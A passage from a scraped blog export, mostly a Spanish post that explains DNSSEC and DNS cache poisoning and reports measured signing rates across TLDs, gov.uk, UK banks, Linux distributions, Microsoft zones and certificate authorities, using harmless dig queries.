SLA no están publicados en esa página.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRecuentos de estrellas y forks, fechas de publicación y licencias de ambos proyectos leídos de la API de GitHub el 30 de septiembre de 2026: netbox-community/netbox y nautobot/nautobot. Las versiones paralelas 3.2.x y 2.4.x de Nautobot están ambas fechadas el 28 de septiembre de 2026.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetbox-community/netbox-docker — la pila de contenedores de la comunidad, Apache 2.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, Installation — la tabla de versiones admitidas, y las notas de la versión v4.7 para los mínimos elevados de PostgreSQL y Redis. Versión y edición leídas de netbox/release.yaml.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Limited Use License 1.0 — la llevan netbox-custom-objects y, de forma idéntica, netbox-branching. Ambas cláusulas citadas son literales.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, HTTP Server installation, «What\u0026rsquo;s Next?» — «Some of the most popular plugins include» NetBox Branching, NetBox Custom Objects, NetBox DNS y NetBox BGP, sin mención alguna de los términos de licencia.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, Data Validation configuration — FIELD_CHOICES, y el sufijo de signo más que extiende en lugar de reemplazar: «To replace the available choices, specify the app, model, and field name separated by dots \u0026hellip; To extend the available choices, append a plus sign».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDocumentación de netboxlabs/netbox-custom-objects — «Deleting a Custom Object Type drops an entire database table and should be done with caution.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetbox.netbox en Ansible Galaxy y netbox-community/ansible_modules — versión 3.23.0, GPL-3.0, 91 módulos más el plugin de inventario nb_inventory. Recuento de descargas leído en Galaxy el 30 de septiembre de 2026. Todo lo mostrado se ejecutó con ansible-core 2.21.4 y pynetbox 7.8.0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLicencias, actividad y recuentos de estrellas leídos de cada proyecto el 30 de septiembre de 2026: pynetbox (Apache 2.0), terraform-provider-netbox (MPL 2.0, v6.0.0-rc.1 en el registro de Terraform), nornir_netbox (Apache 2.0), netbox-plugin-prometheus-sd (MIT), go-netbox (último push el 9 de mayo de 2025) y Diode, que lleva la misma NetBox Limited Use License 1.0 que Branching y Custom Objects.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/netbox/what-is-netbox/","summary":"Un recorrido práctico por NetBox 4.7.2 con un parque realmente cargado dentro en lugar de una demo vacía. Lo que contiene cada pantalla y lo que haces con ella: elevaciones de rack, trazados de cable, el árbol IPAM, interfaces de doble pila y el armario que resulta estar lleno al 90,7 por ciento de electricidad cuando solo está al 28,6 por ciento de equipo. Cómo levantar uno como pila de contenedores y en un host desde los paquetes, ambos recorridos de principio a fin. El orden en que tienes que llenarlo, deducido de qué claves ajenas son realmente obligatorias. Cómo una sola instalación se reparte por clientes, de modo que el equipo de otro cliente devuelve 404 y un tipo de objeto no concedido devuelve 403. Los config contexts y la herencia que los hace valer más que los custom fields. Añadir tus propios valores a los menús de estado de NetBox. Tres formas de añadir el objeto del que vive tu negocio, incluido un datastore modelado sin una línea de código. Cómo escribir reglas de validación y clases de validador para que la base de datos rechace lo que tu estándar de la casa prohíbe. Y la historia del fork de 2021 del que salió Nautobot, para qué servía y qué ha convergido desde entonces. Más el pilotaje de todo el conjunto desde la colección de Ansible netbox.netbox, donde el inventario es una consulta y no un fichero, y donde un argumento de módulo asigna discretamente una dirección nueva en cada ejecución.","title":"NetBox: lo que contiene, y cómo meter dentro lo tuyo"},{"content":"Cada nombre que tu máquina ha buscado hoy, se lo ha creído. Tu banco, tus actualizaciones, tu servidor de correo. Volvió una respuesta de la red y en ningún punto se comprobó si venía de la organización dueña del nombre o de quien logró colar un paquete antes. Una respuesta DNS corriente no lleva firma, no hay nada que verificar, y no hay nada que fuera a notar que algo va mal. Eso era un diseño razonable en 1983 y dejó de serlo hace mucho tiempo.\nDNSSEC es el arreglo para exactamente eso, y no es ni nuevo ni caro. El dueño de la zona firma sus registros. La zona de encima publica un hash de su clave y lo firma, y así hacia arriba, hasta que la cadena llega a una única clave raíz que tu resolver conoce de nacimiento. Cualquier cosa que compruebe la cadena sabe distinguir una respuesta de verdad de una falsificada. Es un estándar desde 2005, la raíz está firmada desde julio de 2010, y las entidades de registro publican los registros sin cobrar nada.1 2\nLa parte de arriba del árbol está terminada. Conté la zona raíz en vivo para esta entrada y 1.351 de 1.438 dominios de primer nivel están firmados, los 1.038 genéricos entre ellos, todos. Luego se cae por un precipicio. De los 2.390 dominios gov.uk que todavía resuelven, treinta y nueve están firmados, y nueve de esos son juntas parroquiales. El MI6 lo consiguió. El National Cyber Security Centre no.\nEsto es lo que cuesta de verdad una respuesta falsificada y lo que hace firmar al respecto, contado sobre la zona raíz en vivo el 27 de septiembre de 2026 y hacia abajo por el gobierno, los bancos, las distribuciones desde las que instalas y las autoridades de certificación. Un comando por dominio, sin pedirle permiso a nadie, y cada nombre listado para que puedas discutir mis elecciones en vez de mi aritmética. Debajo está la pregunta que yo quería responder en realidad. Cuarenta y dos años después de que Mockapetris pusiera el DNS por escrito, ¿la razón de que casi nadie firme es que casi nadie entendió nunca lo que el DNS estaba prometiendo?\nQué es DNSSEC y para qué sirve En una frase: DNSSEC pone una firma criptográfica en las respuestas DNS, para que un resolver pueda demostrar que una respuesta vino del dueño de la zona y no de quien consiguió responder primero.\nNo es cifrado, no es un cortafuegos y no es un filtro. Es una firma y una cadena de claves que llega hasta una única clave en la que tu resolver ya confía. Esa es la idea entera.\nAhora el ataque, porque el protocolo solo tiene sentido cuando has visto para qué sirve.\nUn resolver que pide un nombre envía una consulta y espera. La respuesta se casa con un puñado de campos: el nombre consultado, el tipo, las direcciones y puertos de origen y destino, y un ID de transacción de 16 bits. Cualquiera capaz de producir un paquete que encaje con esos campos, antes de que llegue la respuesta real, gana. El resolver cachea la falsificación y se la entrega a cada cliente que pregunte, durante todo el tiempo que el atacante haya dicho.\nEl trabajo de Dan Kaminsky de 2008 es el que todo el mundo recuerda a medias.3 Lo que importa no es que existiera el envenenamiento de caché, porque se sabía de él desde años antes. Es que él encontró la forma de reintentar la adivinanza indefinidamente. Pide un nombre que no existe, y cada intento fallido no cuesta nada y te deja probar otra vez de inmediato, así que el atacante ya no corre una sola carrera contra un registro cacheado que dura un día. La respuesta de la industria fue añadir aleatoriedad: puertos de origen aleatorios encima del ID de transacción aleatorio, lo que llevó la adivinanza de una entre 65.536 a algo cercano a una entre dos mil millones.\nEs un número más grande. No es una demostración.\nEl resolver casa campos que un atacante puede adivinar SIN FIRMA: GANA EL PRIMER PAQUETE QUE CASE resolver pregunta y espera el servidor real responde a su ritmo atacante fuera de camino solo tiene que llegar antes Se acepta si casan cinco campos, y todos y cada uno se pueden adivinar: nombre · tipo · direcciones · puerto de origen · ID de transacción de 16 bits CON FIRMA: LA RESPUESTA LLEVA LA PRUEBA Una firma que encadena hasta la única clave de la raíz que el resolver ya tenía. Adivinando no se consigue. El resolver casa campos que un atacante puede adivinar. Firmar sustituye la adivinanza por aritmética Y la mitigación lleva erosionándose desde entonces, porque cada uno de esos campos es una conjetura que se ha hecho más difícil, no un hecho que se pueda comprobar. La aleatorización de puertos se deshace con un NAT que reescribe puertos de forma predecible. Los ataques por fragmentación se saltan el emparejamiento por completo. Los ataques fuera de camino vuelven una y otra vez con formas nuevas, y cada uno se lleva su propio parche.\nFirmar acaba con la discusión. Una respuesta firmada o verifica contra una clave que el resolver puede encadenar hasta la raíz, o no verifica, y por mucho que adivine, un atacante no consigue una firma válida.\nQué les compra de verdad ganar esa carrera Sé concreto con esto, porque «envenenamiento de caché» suena abstracto y las consecuencias no lo son.\nQué falsifican Qué consiguen El registro A de tu sitio Tráfico, y un formulario de acceso que parece el tuyo Tus registros MX Todo el correo entrante, restablecimientos de contraseña incluidos El nombre contra el que valida una autoridad de certificación Un certificado válido para un dominio que no es suyo El nombre desde el que tus máquinas descargan actualizaciones No llega nada, y no se le dice a nadie Tu delegación NS Todo lo anterior a la vez, mientras lo diga el TTL La tercera fila convierte un problema de DNS en un problema de certificados. La emisión validada por dominio funciona pidiéndote que publiques un registro y consultándolo después. Si un atacante puede controlar la respuesta que ve la CA durante esa consulta, la CA le emite papel de verdad a tu nombre, y a partir de ahí el candado del navegador es suyo. Todo lo que se ha enseñado a un usuario a comprobar dirá que el sitio está bien.\nLa cuarta fila es la callada. Una respuesta falsificada no tiene por qué mandar a nadie a ninguna parte. Basta con apuntar un servicio de actualizaciones a un agujero negro, y no hay nada en la pila construido para gritar por actualizaciones que nunca llegaron.\nQué hace firmar al respecto El mecanismo es más simple que su fama.\nToda zona firmada guarda un par de claves. El dueño de la zona firma cada conjunto de registros con la mitad privada y publica un RRSIG a su lado. La mitad pública va en la zona como un DNSKEY. Hasta aquí esto no demuestra nada, porque un atacante capaz de falsificar un registro A puede falsificar un DNSKEY a juego.\nLo que lo cierra es el registro DS, y el DS vive en la zona padre, no en la tuya. Es un hash de tu clave, publicado y firmado por la zona de encima. Así que uk responde por tu clave, la raíz responde por uk, y tu resolver nació sabiendo exactamente una cosa: la clave de la raíz.2\nCada padre responde por su hijo, y un solo DS que falte rompe todo lo que hay debajo LO ÚNICO QUE UN RESOLVER SABE DE NACIMIENTO la clave de la raíz viene con el resolver Todo lo demás se aprende preguntando, y lo demuestra el nivel de encima. DS de uk uk firmada, y avalada por la raíz DS de tu zona damiendye.uk firma sus registros con RRSIG Un DS es un hash de la clave del hijo, publicado y firmado por el padre. Así que el padre es el único que puede meterte en la cadena. Tú no. Y SI FALTA UN DS La cadena se para ahí. Todo lo de debajo es no verificable, por muy cuidadosamente que se firmara la zona de abajo. Cada padre responde por su hijo, y un solo DS que falte rompe todo lo que hay debajo Tres tipos de registro hacen el trabajo, y conviene saber cuál es cuál, porque solo uno de ellos es tarea de otra persona:\nRegistro Vive en Dice DNSKEY tu zona aquí está mi clave pública RRSIG tu zona aquí está mi firma sobre este conjunto de registros DS la zona de tu padre yo respondo por esa clave Puedes publicar los dos primeros por tu cuenta toda la tarde y no cambia nada. Hasta que el padre publique un DS, eres una zona firmada que nadie puede verificar, que es lo mismo que una zona sin firmar con trabajo de más dentro.\n$ dig +short @127.0.0.53 uk DS 43876 8 2 A107ED2AC1BD14D924173BC7E827A1... $ dig +short @127.0.0.53 damiendye.uk DS 2371 13 2 A5B2825C57899A5A15EE9703832C8358E0D19EF29DC72DD83C691ED77C33BD7F $ dig +short @127.0.0.53 bbc.co.uk DS (nothing) Esa del medio es la zona propia de este sitio. uk responde por ella, el algoritmo 13 es ECDSA P-256, y por tanto un resolver validador puede demostrar cada respuesta sobre ella hasta la raíz. bbc.co.uk no devuelve nada, así que no puede.\nUn comando te dice si una zona está en la cadena de confianza. Si el padre no publica ningún DS para ti, no estás firmado, tengas configurado lo que tengas, y un resolver validador tratará cada respuesta sobre tu dominio como no verificable.\nEse único registro es la prueba entera.\nLo que no hace Vale la pena decirlo claro, porque venderlo de más es la mitad de la razón de que la gente desconfíe de ello.\nNo hace Porque Cifrar nada Cada nombre que consultas sigue yendo en claro. Para eso está DNS sobre TLS, y no son sustitutos Hacer segura una zona comprometida Un atacante dueño de tu gestión de DNS firma sus falsificaciones con tu clave, tan contento Proteger el último salto Entre un resolver validador y la aplicación, salvo que ese salto también sea de confianza Impedir que te quiten un nombre Un registrador o un juzgado todavía puede hacerlo, y la firma seguirá siendo perfectamente válida Decir nada sobre el contenido Una respuesta firmada es auténtica, no honrada. El malware también puede firmar su zona, y lo hace La gente tropieza con esa última fila. DNSSEC demuestra que la respuesta vino de quien controla la zona. No tiene opinión ninguna sobre si esa gente es decente.\nHace exactamente una cosa. Hace que falsificar una respuesta sea aritméticamente inviable en vez de meramente improbable.\nCómo comprobar cualquier zona, incluida la de otro Esta es la parte que hace posible el resto de la entrada, y se resuelve con un comando.\nUna zona está en la cadena de confianza si su padre publica un DS para ella. Esa es la prueba entera, y puedes ejecutarla contra cualquiera, sin permiso, desde cualquier máquina:\ndig +short damiendye.uk DS Que vuelva algo significa firmada. Que no vuelva nada significa sin firmar, tenga la zona lo que tenga configurado.\nSi quieres más que un sí o un no, hay tres más que merece la pena conocer:\nComando Te dice dig +short \u0026lt;zone\u0026gt; DS Si el padre responde siquiera por esta zona delv @1.1.1.1 \u0026lt;zone\u0026gt; A Si la cadena valida de punta a punta, y si no, por dónde se rompe resolvectl query \u0026lt;zone\u0026gt; Qué concluye un resolver validador, con el veredicto escrito dig +dnssec \u0026lt;zone\u0026gt; SOA El RRSIG y su fecha de caducidad, que es lo que hay que monitorizar Dos trampas que conocer antes de fiarte de tus propios resultados, porque las dos me pillaron mientras medía para esta entrada.\ndig +short … DS imprimirá una cadena de CNAME si el nombre es un alias, y un nombre de host con dígitos se parece lo bastante a un registro DS como para engañar a un script ingenuo. Un DS de verdad son cuatro campos: etiqueta de clave, algoritmo, tipo de resumen y resumen en hexadecimal. Casa esa forma, o contarás como firmadas zonas que no lo están.\nUn DS bajo un padre sin firmar no significa nada. La cadena tiene que llegar a la raíz. update.microsoft.com tiene un DS, y microsoft.com no, así que la rama es no verificable igualmente. Comprueba siempre el camino entero, no un nivel.\nTodo lo que se cuenta en el resto de esta entrada se midió así. Sin escáner, sin panel de terceros, sin la tabla clasificatoria de ningún fabricante. Pregúntale al padre si responde por el hijo, e insiste en que la respuesta parsee como un DS.\nLa zona raíz está terminada Aquí es donde la sabiduría recibida está sencillamente desfasada. La gente todavía habla de DNSSEC como si el problema fuera la infraestructura.\nDescargué la zona raíz en vivo el 27 de septiembre de 2026, serial 2026092701, y conté las delegaciones contra los registros DS.4\ndelegaciones firmadas porcentaje gTLD (.com, .org, .dev, todos) 1.038 1.038 100 % TLD internacionalizados 151 136 90,1 % ccTLD 248 176 71,0 % arpa 1 1 100 % Total 1.438 1.351 93,9 % Todos y cada uno de los dominios genéricos de primer nivel están firmados. Los 1.038, sin excepciones, porque el Registry Agreement de la ICANN lo exige a cualquier cosa delegada bajo el programa de nuevos gTLD. Los 87 que no están firmados son casi todos códigos de país, y la lista es sobre todo territorios pequeños y un puñado de estados:\nae ao aq ba bb bo bs cd cf cg ck cu cv cw do eg fk gb gf gh gm gp gq gt gu hm im iq jm jo kh km kn kp mh mk mo mp mq mt mv mw mz ne ni np nr om pa pf pk pn ps qa sd sl sm so st sv sy sz td tg tj tk to va vg vi ye zw gb está ahí dentro, lo que es una curiosidad más que un problema, ya que nadie lo usa para nada. También están el Vaticano, Corea del Norte, Cuba y Siria. Y tk, que durante años fue la mayor fuente de dominios gratuitos de internet y, con ellos, una fuente fiable de abusos.\nAsí que la parte de arriba del árbol está hecha. Las entidades de registro hicieron la parte difícil, la parte cara y la parte que necesitaba coordinación internacional, y la terminaron. Por tanto, nada por debajo de este punto se le puede echar a la infraestructura.\nNoventa y cuatro por ciento arriba, uno y medio abajo LA CADENA ESTÁ CONSTRUIDA la raíz firmada desde 2010 1.351 de 1.438 TLD todos los gTLD, sin excepción el nombre que la gente escribe y aquí se para PORCENTAJE FIRMADO, CONTADO EL 27 DE SEPTIEMBRE DE 2026 TLD en la raíz 93,9 % Distros de Linux y BSD 29 % Bancos del Reino Unido 27 % Registros de paquetes 18 % Zonas de Microsoft 15 % Autoridades de certificación 11 % todos los dominios gov.uk 1,63 % 39 firmados, de los 2.390 del registro oficial que todavía resuelven Contado, no estimado. La cadena está construida hasta el TLD y luego no la usa nadie Y entonces se para en seco Por debajo del TLD, el cuadro se invierte del todo.\nMedí de la misma forma para cada conjunto de abajo: pedirle al padre un DS, aceptar solo un registro que parsee de verdad como tal. Todo lo de aquí se contó el 27 de septiembre de 2026.\nQué Firmados Porcentaje TLD en la zona raíz 1.351 / 1.438 93,9 % Distribuciones de Linux y BSD 19 / 96 20 % Bancos y sociedades hipotecarias del Reino Unido 13 / 98 13 % Registros de paquetes y cadena de suministro 4 / 22 18 % Zonas de Microsoft 4 / 26 15 % Autoridades de certificación 1 / 9 11 % Todos los dominios gov.uk que aún resuelven 39 / 2.390 1,63 % Noventa y cuatro por ciento arriba. Uno y medio por ciento abajo. La cadena de confianza es una cadena con un extremo atornillado a la pared y el otro tirado en el suelo.\nUna nota sobre el método, porque un número tan malo la merece. La fila de gov.uk es un censo y no una muestra: son todos los dominios de segundo nivel del registro que publica el propio gobierno, filtrados a los 2.390 que todavía resuelven. Las demás filas son listas curadas de las organizaciones cuya falsificación haría daño de verdad, lo cual es un juicio personal, y he listado todos los nombres más abajo para que puedas discutir mis elecciones en vez de mi aritmética.\nEl censo del gobierno: 39 de 2.390 La lista oficial de dominios gov.uk que publica el gobierno llega a 3.004 nombres de segundo nivel. De esos, 2.390 todavía resuelven. Treinta y nueve están firmados.\nAntes del detalle, una cosa sobre ese registro. La versión más reciente que publica gov.uk lleva fecha del 1 de octubre de 2016.5 Una década, para la lista autoritativa de los dominios en los que responde el Estado británico. Eso es un pequeño hallazgo de por sí y lo dejo ahí.\nAhora mira cuáles son esos treinta y nueve.\nFirmados Sin firmar mi6.gov.uk, sis.gov.uk gchq.gov.uk, mi5.gov.uk nationalcrimeagency.gov.uk ncsc.gov.uk, cyberessentials.ncsc.gov.uk cheltenham.gov.uk, cotswold.gov.uk, somerset.gov.uk, waverley.gov.uk, southribble.gov.uk, sedgemoor.gov.uk, fdean.gov.uk, westoxon.gov.uk birmingham.gov.uk, manchester.gov.uk, leeds.gov.uk, glasgow.gov.uk, sheffield.gov.uk, liverpool.gov.uk, bristol.gov.uk, cardiff.gov.uk, edinburgh.gov.uk, belfast.gov.uk peakdistrict.gov.uk, snowdonia-npa.gov.uk, eryri-npa.gov.uk hmrc.gov.uk, dvla.gov.uk, dwp.gov.uk, nhs.uk, homeoffice.gov.uk, mod.uk, parliament.uk nueve juntas parroquiales y municipales companieshouse.gov.uk, landregistry.gov.uk, police.uk, met.police.uk, tfl.gov.uk, ons.gov.uk Lee otra vez esa primera columna. El Servicio Secreto de Inteligencia ha firmado su zona. El National Cyber Security Centre no.\nTampoco el GCHQ, que es la organización matriz del propio NCSC. Tampoco el esquema Cyber Essentials, que existe para certificar que la seguridad de otra gente es adecuada. No voy a fingir que eso sea otra cosa que notable.\nY nueve de los treinta y nueve son juntas parroquiales y municipales. Abinger. Aldenham. Ashmansworth. Wheathampstead. Frampton on Severn. Sitios con un secretario, una web a tiempo parcial y un presupuesto que no cubriría un día de consultoría en Whitehall. Ellos lo consiguieron. HMRC, que guarda el expediente fiscal de todos los adultos del país, no.\n¿Puedo preguntar qué hay en el proceso que permite eso? No quién: qué. Porque el NCSC publica guías que le dicen a otros que desplieguen DNSSEC, y el departamento que escribe la guía no ha hecho lo que la guía dice. O es importante, en cuyo caso el organismo que lo afirma debería haberlo hecho hace años, o no lo es, en cuyo caso la guía debería decir eso en su lugar.\nLa excusa que se ofrecerá será la escala y el legado. No sobrevive a la primera columna. somerset.gov.uk es una autoridad unitaria que atiende a 580.000 personas y está firmado. birmingham.gov.uk es una autoridad unitaria que atiende a 1,1 millones y no lo está. Mismo país, mismo registro, mismos registradores, mismo dinero disponible para los mismos proveedores. Uno lo hizo.\nEl software desde el que te actualizas Esta es la parte que debería preocuparte más que los bancos, y es la parte que casi nadie mide.\nCada máquina que ejecutas descarga código de algún sitio con una periodicidad, y encuentra ese sitio preguntándole al DNS.\nNoventa y nueve distribuciones y BSD, noventa y seis de ellas todavía resolviendo. Diecinueve están firmadas.\nFirmadas (19) debian.org, fedoraproject.org, opensuse.org, gentoo.org, almalinux.org, artixlinux.org, cachyos.org, garudalinux.org, getsol.us, linuxmint.com, q4os.org, system76.com, tails.net, whonix.org, freebsd.org, netbsd.org, hardenedbsd.org, midnightbsd.org, opnsense.org Las grandes comerciales ubuntu.com, canonical.com, redhat.com, suse.com, oracle.com, rockylinux.org, centos.org, eurolinux.com Sabores de Ubuntu kubuntu.org, xubuntu.org, lubuntu.me, ubuntustudio.com, ubuntukylin.com Familia Arch archlinux.org, arcolinux.com, endeavouros.com, manjaro.org, blackarch.org Independientes y mínimas alpinelinux.org, voidlinux.org, nixos.org, devuan.org, slackware.com, antixlinux.com, mxlinux.org, puppylinux.com, tinycorelinux.net, slitaz.org, porteus.org, funtoo.org, calculate-linux.org Centradas en el escritorio zorin.com, elementary.io, deepin.org, uniontech.com, bodhilinux.com, peppermintos.com, sparkylinux.org, neon.kde.org, nobaraproject.org, ultramarine-linux.org, vanillaos.org, solus-project.com Seguridad y privacidad kali.org, parrotsec.org, qubes-os.org, backbox.org, pentoo.ch, trisquel.info, pureos.net, hyperbola.info, dragora.org Regionales y estatales altlinux.org, astralinux.ru, rosa.ru, openkylin.top, openeuler.org, opencloudos.org, openanolis.cn, mageia.org, openmandriva.org, pclinuxos.com Embebidas, inmutables, de aparato openwrt.org, dd-wrt.com, librecmc.org, raspberrypi.com, armbian.com, flatcar.org, talos.dev, bottlerocket.dev, truenas.com, pfsense.org BSD openbsd.org, dragonflybsd.org, ghostbsd.org Y las dos que más importan kernel.org, gnu.org Diecinueve de noventa y seis. Y los nombres de esa lista sin firmar no son oscuros: Ubuntu, Red Hat, SUSE, Oracle, Arch, Alpine, NixOS, Rocky, todos los sabores de Ubuntu, y tanto kernel.org como gnu.org.\nLas distribuciones de seguridad y privacidad son las que yo esperaba que fueran distintas, y en su mayoría no lo son. Tails y Whonix han firmado, lo que encaja. Kali, Parrot, Qubes, Trisquel y PureOS no, lo que no encaja. OpenBSD lleva veinticinco años construyendo una reputación sobre acertar precisamente en esta clase de cosas y no ha firmado openbsd.org, mientras que FreeBSD, NetBSD, HardenedBSD y MidnightBSD lo han hecho todas.\nLos registros de paquetes están cerca de un pleno en la columna equivocada: npm, crates.io, RubyGems, Packagist, Docker Hub y Quay están todos sin firmar. pypi.org es la excepción, y hay que reconocérselo, porque además es de los más atacados.\nMicrosoft y el canal de actualizaciones Cuatro de veintiséis zonas de Microsoft están firmadas, y son todas un rincón del parque:\nFirmadas Sin firmar live.com, outlook.com, office.com, office365.com microsoft.com, windows.com, windowsupdate.com, update.microsoft.com azure.com, azurewebsites.net, microsoftonline.com, windows.net github.com, npmjs.com, linkedin.com, visualstudio.com, xbox.com, bing.com Los nombres de Outlook y Office están firmados y nada más lo está, lo que parece la decisión de un equipo y no de una empresa. Fíjate en qué hay en la columna de la derecha junto al servicio de actualizaciones: github.com y npmjs.com, dos de los mayores puntos de distribución de código de internet, ambos propiedad de Microsoft, ambos sin firmar.\n$ dig +short @127.0.0.53 windowsupdate.com DS (nothing) $ dig +short @127.0.0.53 microsoft.com DS (nothing) $ dig +short @127.0.0.53 com DS 19718 13 2 8ACBB0CD28F41250A80A491389424... com está firmado, así que no hay nada técnico en medio. Microsoft podría publicar un DS esta misma tarde.\nLa respuesta de manual a por qué eso da igual es que el DNS es solo una capa. Las cargas de actualización van firmadas por código, el cliente comprueba la firma, y el tráfico va sobre TLS. Rompe el DNS y sigues sin poder hacer que se ejecute código.\nEsa respuesta depende por entero de que la firma sea sólida. No lo ha sido.\nCuándo Qué le pasó a la confianza en la firma de Microsoft 2012 Flame falsificó un certificado encadenado a la Microsoft Root Authority usando una colisión MD5 contra el camino de inscripción de licencias de Terminal Services, y luego lo usó en un servidor de actualizaciones falso6 2021 Netfilter fue el primer rootkit encontrado llevando una firma WHQL emitida directamente por Microsoft, tras pasar el Windows Hardware Compatibility Program mientras hablaba con un servidor de mando y control7 2021 FiveSys, otro controlador certificado por WHQL, resultó ser un rootkit que instalaba su propio certificado raíz y hacía de proxy del tráfico HTTP y HTTPS de la máquina7 2022 Aparecieron controladores maliciosos firmados por Microsoft en ataques de ransomware, y Microsoft revocó las firmas y suspendió las cuentas de desarrollador7 2023 Storm-0558 obtuvo una clave de firma de consumo de Microsoft desde un volcado de memoria, tras comprometer la cuenta de un ingeniero, y falsificó tokens de autenticación que se aceptaron para el correo corporativo de unas 25 organizaciones, agencias gubernamentales incluidas8 Sé preciso con esa última fila, porque la gente la exagera. La clave robada firmaba tokens de identidad, no binarios. Está en la tabla por otra razón: la custodia del material de firma de Microsoft falló, sin detectarse durante dos años, por un volcado de memoria y una cuenta de ingeniero comprometida.\nLas filas de encima son los fallos de firma de código, y son peores. Dos veces en un año, el propio programa de certificación de hardware de Microsoft le puso una firma de Microsoft a un rootkit funcional y lo distribuyó. Ni un certificado falsificado, ni una clave robada. El proceso legítimo, firmando malware, exactamente como está diseñado.\nAsí que la defensa que te permite tratar el DNS como opcional ha sido subvertida por falsificación, por abuso de proceso y por robo de claves, a lo largo de once años. Un atacante con una firma que la máquina va a aceptar no es un experimento mental. Para un actor respaldado por un Estado es un problema de compras, no de investigación.\nDale a ese atacante una respuesta DNS falsificada y el cuadro queda completo: código firmado que él controla, entregado desde un servidor que la máquina cree que es de Microsoft, sobre una conexión que nada en la pila va a cuestionar. Eso es Flame, con mejor material de claves.\nDNSSEC es la única capa de esa cadena a la que le da igual qué clave de firma tenga el atacante. No valida la carga, valida adónde se mandó a la máquina, y falla de forma independiente de cada certificado y cada firma en juego. Que es precisamente lo que quieres de una segunda capa, y precisamente por qué no debería ser la que está apagada.\nY hay un ataque más barato que no necesita clave ninguna. Falsifica la respuesta para que el servicio de actualizaciones resuelva a ninguna parte útil, y la máquina sencillamente no se parchea nunca. Ningún error sobre el que el usuario vaya a actuar, ninguna alarma, solo un parque quedándose atrás en silencio mientras el panel dice que todo va bien. Si yo quisiera un parque listo para explotar dentro de seis meses, no le enviaría nada. Solo me aseguraría de que no le llegase nada.\nLos bancos, al completo Esta vez no es una muestra. Noventa y ocho bancos y sociedades hipotecarias del Reino Unido, todos resolviendo ese día, desde la banca de la calle principal hasta sociedades con una sucursal y un nombre victoriano.\nTrece están firmados.\nFirmados (13) lloydsbank.com, halifax.co.uk, bankofscotland.co.uk, tsb.co.uk, co-operativebank.co.uk, smile.co.uk, monzo.com, aldermore.co.uk, hampshiretrustbank.co.uk, investec.com, handelsbanken.co.uk, allica.bank, weatherbys.bank Banca de calle, sin firmar hsbc.co.uk, firstdirect.com, barclays.co.uk, natwest.com, rbs.co.uk, ulsterbank.co.uk, santander.co.uk, nationwide.co.uk, virginmoney.com, clydesdalebank.co.uk, metrobankonline.co.uk, bankofireland.co.uk, aibgb.co.uk, danskebank.co.uk Digitales y retadores, sin firmar starlingbank.com, revolut.com, chase.co.uk, marcus.co.uk, atombank.co.uk, zopa.com, tandem.co.uk, kroo.com, monese.com, cashplus.com, anna.money, mettle.co.uk Minoristas, sin firmar tescobank.com, sainsburysbank.co.uk, marksandspencer.com, johnlewisfinance.com Pymes y especialistas, sin firmar shawbrook.co.uk, paragonbank.co.uk, oaknorth.co.uk, recognisebank.co.uk, redwoodbank.co.uk, ccbank.co.uk, closebrothers.com, unitedtrustbank.co.uk, gbbank.co.uk, cynergybank.co.uk, securetrustbank.com Banca privada, sin firmar coutts.com, hoaresbank.co.uk, arbuthnotlatham.co.uk, rathbones.com, brownshipley.com, butterfieldgroup.com Sociedades hipotecarias, sin firmar ni una sola de las probadas: coventrybuildingsociety.co.uk, ybs.co.uk, skipton.co.uk, leedsbuildingsociety.co.uk, principality.co.uk, westbrom.co.uk, newcastle.co.uk, thenottingham.com, cumberland.co.uk, progressivebs.co.uk, saffronbs.co.uk, newburybs.co.uk, monbs.com, furnessbs.co.uk, ipswichbuildingsociety.co.uk, leekbs.co.uk, theloughborough.co.uk, mansfieldbs.co.uk, marsdenbs.co.uk, themelton.co.uk, familybuildingsociety.co.uk, penrithbs.co.uk, scottishbs.co.uk, srbs.co.uk, swansea-bs.co.uk, teachersbs.co.uk, thetipton.co.uk, thevernon.co.uk, beverleybs.co.uk, chorleybs.co.uk, dudleybuildingsociety.co.uk, esbs.co.uk, ecology.co.uk, harpendenbs.co.uk, hrbs.co.uk, darlington.co.uk, hanley.co.uk, bathbuildingsociety.co.uk Treinta y ocho sociedades hipotecarias. Ni una firmada. Esas son las instituciones que tienen la hipoteca de muchísimas casas.\nDos patrones destacan en esa columna de firmados. Lloyds Banking Group ha firmado tres de sus marcas, lloydsbank.com, halifax.co.uk y bankofscotland.co.uk, y el Co-operative Bank ha firmado las dos suyas. Así que la decisión se toma una vez, a nivel de organización, y luego se aplica. No hay ningún obstáculo por dominio.\nY Monzo ha firmado mientras Starling no. Dos bancos retadores fundados con un año de diferencia, sobre infraestructura moderna comparable, con el mismo regulador y los mismos registradores disponibles. Uno lo hizo.\nEl único sitio donde lo hace todo el mundo Mira los dos últimos nombres de la columna de firmados: allica.bank y weatherbys.bank.\n.bank es un dominio de primer nivel restringido que lleva fTLD Registry Services, y sus requisitos de seguridad hacen DNSSEC obligatorio, junto a TLS y autenticación de correo, con reverificación anual de cada registrante.9\nLas mismas instituciones, dos regímenes Firmadas En un dominio corriente, donde DNSSEC es opcional 13 de 98 En .bank, donde es obligatorio y se recomprueba cada año las dos Dos es un número pequeño, así que tómalo como una demostración y no como una estadística. El requisito sigue siendo lo único que cambió.\nEsa es la respuesta a cada excusa que viene más abajo en esta entrada, y llega antes que las excusas. Los mismos bancos, los mismos proveedores, los mismos presupuestos y las mismas habilidades producen un 13 % de cumplimiento cuando es opcional y un 100 % cuando alguien comprueba cada año. Nada técnico se movió. Simplemente alguien preguntó.\nNadie está vigilando a los vigilantes Una autoridad de certificación de cada nueve.\nFirmada Sin firmar entrust.com letsencrypt.org, digicert.com, sectigo.com, globalsign.com, identrust.com, buypass.com, zerossl.com, certum.eu Estas son las organizaciones cuyo negocio entero es demostrar que algo es lo que dice ser. También son las organizaciones que validan el control de un dominio por DNS, pidiéndote que publiques un registro y consultándolo después. La consulta que decide si consigues un certificado para un dominio es, en ocho de estas nueve, una consulta que nadie puede verificar.\nNada hipotético, eso. Es la forma documentada: 